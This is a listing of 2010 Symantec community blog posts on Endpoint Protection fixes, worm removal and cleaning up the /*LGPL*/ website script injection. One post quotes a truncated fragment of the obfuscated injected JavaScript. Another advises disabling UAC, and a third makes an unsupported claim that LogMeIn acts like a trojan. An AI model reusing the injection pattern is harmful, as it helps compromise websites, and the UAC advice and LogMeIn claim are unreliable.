Video Screencast Help
Symantec to Separate Into Two Focused, Industry-Leading Technology Companies. Learn more.
Security Community Blog
Showing posts tagged with Endpoint Protection (AntiVirus)
Showing posts in English
sezam | 02 Feb 2010 | 2 comments

If during applying the "31 December" patch you get an error "Unable to apply the SEP server patch on this computer".

To solve this issue You need.

1. Stop Symantec Endpoint Protection Manager servcie.
2. Go to "%PROGRAMFILES%\Symantec\Symantec Endpoint Protection Manager\tomcat\webapps\scm\WEB-INF\lib".
3. Delete scm-server.jar
4. Rename scm-server.jar.disabled into scm-server.jar.
5. Start Symantec Endpoint Protection Manager service.
6. Run SEPServerPatch-v6.01.exe again

Now patch schould apply without problems.

snekul | 01 Feb 2010 | 0 comments

Just a quick blog post seems relevent after some problems were encountered with our SEPM server.  After finding preformance lacking a bit on our SEPM server, I fired up the disk defragmenter.  Despite having run it not that long ago, the drive was heavily fragmented.  Our server has 60 GB of space, was about 2/5ths full, and was well over 40% fragmented.  I setup a task to defrag the drive daily during the early morning hours.   Since then, we haven't had a problem with fragmentation on the SEPM server.

Just some background.  Our SEPM server is running Server 2003 x86 and SEPM RU5.  I suspect due to the database backups and the regular definition downloads, that SEPM, by its nature, has a tendency to fragment drives rapidly.

crazeeeeeem | 26 Jan 2010 | 0 comments

Asissoft's release of Sudden Attack ( is a trojan and is collecting Windows passwords.

It works by preventing a user from logging into his/her PC, then providing an form to fill in a password and user name field, which if filled in correctly, will allow access to the user's machine. What its doing is of course well known subterfuge but the business world seems very unaware of the issues and costs, maybe rightly so.

A probably more overt proponent of this method of controlling and obtaining information from unsuspecting users is a company called LogMeIn ( The simply ask for your passwords over the internet.

Since everyone is doing it, I guess they may as well.

jumbosafari | 22 Jan 2010 | 2 comments

A question.
does norton antivirus 2008 stop autoruns viruses on external media before they actually run?
i get the notification from norton in the taskbar but my fear is the virus has already executed then norton notifies me.
i can be wrong, maybe norton stops the autorun virus from executing and then notifies me.
any help would be great. thanks.

mon_raralio | 21 Jan 2010 | 4 comments

We're currently seeing a lot of Mark.W0rm.exe files appearing in our network. At the moment, the only available information is that it is a "test" virus that copies itself to common Windows folders.
Removal is quite simple:

End the task Mark.W0rm.exe in task manager if present and delete the file copied into the following directories:

C:\Documents and Settings\[user]\Local Settings\
C:\Documents and Settings\[user]\My Documents\My Music\My Music.exe
C:\Documents and Settings\[user]r\My Documents\My Documents.exe
C:\Documents and Settings\[user]\My Documents\My Pictures\My Pictures.exe

Note: It may also copy itself on shared folders so you might want to check for that too.

possible-solutions | 19 Jan 2010

As we all know there is a mass attack of /*LGPL*/ and /*Exception*/ type script on websites. I have seen plenty of websites infected with this type of infection and finally I decided to write a script to remove the codes inserted in files all over the server directories.

As a new version of /*LGPL*/ and /*Exception*/ is out in wild. The code inserted in web pages after the BODY Tag or at end of Javascript files looks a bit like.

<script>/*LGPL*/ try{ window.onload = function(){var C1nse3sk8o41s = document.createElement('s&c^$#r))i($p@&t^&'.repl

<script>/*Exception*/ document.write(.....)


The SCRIPT tag above is not present in javascript(.js) files.
Well it is just another type of IFRAMER worm. Once deobfuscated, it loads javascript from

sezam | 18 Jan 2010 | 9 comments

When SEPM console is tried to be open an ERROR: "Could not find the main class Program will exit "  occurs.


The problem is UAC. To make SEPMconsole working properly You need to dissable UAC.

sezam | 14 Jan 2010 | 0 comments
Some time I face with customer which have a problem with continuous SEP installation.

This could be connected with 2 problems:

1. Domain or Local User privileges are to restricted[remember to much restrictions is also not good. You need to know how to balance with restrictions]
2. Installation is corrupted.

This problem is annoying because Windows Installer want to install SEP client continuously which can be very nervous.

Solution for this problem is to:


1. Find UninstalString value for Symantec Endpoint Protection which is situated in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

2. Paste this string to command line with changed option /I to /X (  ex.  MsiExec.exe /X{68B52EFD-86CC-486E-A8D0-A3A1554CB5BC}   ) 

sezam | 14 Jan 2010 | 5 comments


Sometimes SEP client is unable to install itself on Windows7 operating systems.

The problem is connected with 2 issues.

1. EXE file extractor[FreeExtractor] is not working correctly.

Sometimes on Windows 7 setup.exe file cannot automatically extract into %TEMP% folder.
To resolve this issue You need to Extract setup.exe file application like Winrar and install SEP using setup.exe or *.msi file in extracted folder.

2. Live Update application cannot be installed.

To resolve this problem You need to perform first step from point 1. but in hear firstly You need to install Live Update using LUSETUP.exe file after install it using setup.exe or *.msi file.
Second solution is to install SEP as unmanaged client.

sezam | 07 Jan 2010 | 0 comments

Some days ago I faced with an issue.
In a big network all Live Update applications were configured with Proxy[Unmanaged clients]. But the proxy setting were needed to be disabled.

Network configuration is handled by files:
- Settings.LiveUpdate;

- 1.Settings.LiveUpdate;
- 2.Settings.LiveUpdate.

which are situated in C:\Documents and Settings\All Users\Application Data\Symantec\LiveUpdate folder.

If You have a big environment and You need to perform disabling of proxy setting for FTP an WWW the best is create a script which will delete Settings.LiveUpdate and 1.Settings.LiveUpdate files.

I think It could be useful.